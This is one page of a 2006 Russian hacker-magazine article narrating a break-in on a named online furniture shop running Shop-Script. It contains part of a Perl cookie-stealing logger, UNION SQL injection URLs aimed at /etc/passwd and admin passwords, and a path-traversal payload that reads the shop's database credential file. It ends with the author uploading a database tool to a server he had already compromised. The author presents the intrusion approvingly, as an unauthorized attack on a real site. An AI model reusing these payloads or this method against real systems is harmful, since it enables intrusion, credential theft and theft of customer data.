Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #86, ФЕВРАЛЬ 2006 г.

Берем магазины под контроль

k00p3r (secinfo@mail.ru)

Хакер, номер #086, стр. 086-076-2


open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";

@LOGtext=<LOG>;

close (LOG);

open (LOG, ">$LogFile");#открываем на запись лог

#сохраняем данные запроса

print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength

$counter=1;

foreach $LOGitem (@LOGtext)

{

if ($counter<$mlength){ print LOG "$LOGitem"; };

$counter++;

};

close (LOG);#закрываем лог

exit;

Приведенный скрипт позволяет отслеживать IP-адрес, поле Referer и принимать произвольные данные, переданные скрипту. Сценарий возвращает пользователю картинку, крадет его кукисы и не вызывает подозрений.

[второй баг]

Задействовав поисковик(даже не буду говорить какой), был выбран сайт, работающий на Shop-Script. Естественно, перед этим я не забыл про свою анонимность.

На сайте торговали какой-то мебелью. Хотя мне было без разницы :). Задача была одна – получить доступ к админке либо к базе данных.

Не обладая достаточными знаниями по sql-injection, я все-таки пытался вытянуть информацию из БД.

Было несколько вариантов вроде

http://mebelart.com/index.php?categoryID=666+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*,

но количество столбцов не совпадало (следовало воспользоваться скриптом для подборки числа выбираемых полей или подобрать его руками. – Прим. ред.).

В общем, нужного эффекта мне достигнуть не удалось. Тогда было решено подключить к этому делу своего знакомого, который неплохо разбирается в sql-injection. Он был слишком разговорчив и подкинул несколько идей:

http://mebelart.com/index.php?categoryID=-1%20union%20select%20load_file('/etc/passwd')%20from%20admin/*

http://mebelart.com/index.php?categoryID=-1%20union%20select%20password%20from%20admin/*

Однако реализовать предложенное им у меня опять не получилось, и я решил продолжить атаку на следующий день.

[новые решения]

Честно говоря, мне совсем не хотелось вылавливать админские «печеньки» с помощью CSS. Вытащить же данные из базы никак не получалось. Казалось бы, что выхода нет и придется довольствоваться лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в системе присутствуют 2 классических бага, то почему бы не попробовать реализовать и третий? :) И точно, интуиция меня не подвела.

У скрипта index.php есть параметр aux_page, именно он умел читать файлы на сервере.

Недолго думая, я решил просмотреть логины юзверей. Подставив aux_page=../../../../../../../etc/passwd, я увидел все логины.

Посмотрев исходники движка, был найден интересный файл connect.inc.php, который находился в директории cfg. В нем была полная информация для подключения к БД. То есть хост, логин, пароль и логин администратора магазина. Теперь, подставив в параметр aux_page и значение ../cfg/connect.inc.php, скрипт выдал пустую страницу, посмотрев исходник которой, был достигнут желаемый результат: там я обнаружил идентификаторы для подключения к БД.

Далее я залил скрипт sql.php (также для этих целей подойдет программа SQLyog) от команды RST, на ранее поломанный сервер, и подключился к базе данных.

Назад на стр. 086-076-1  Содержание  Вперед на стр. 086-076-3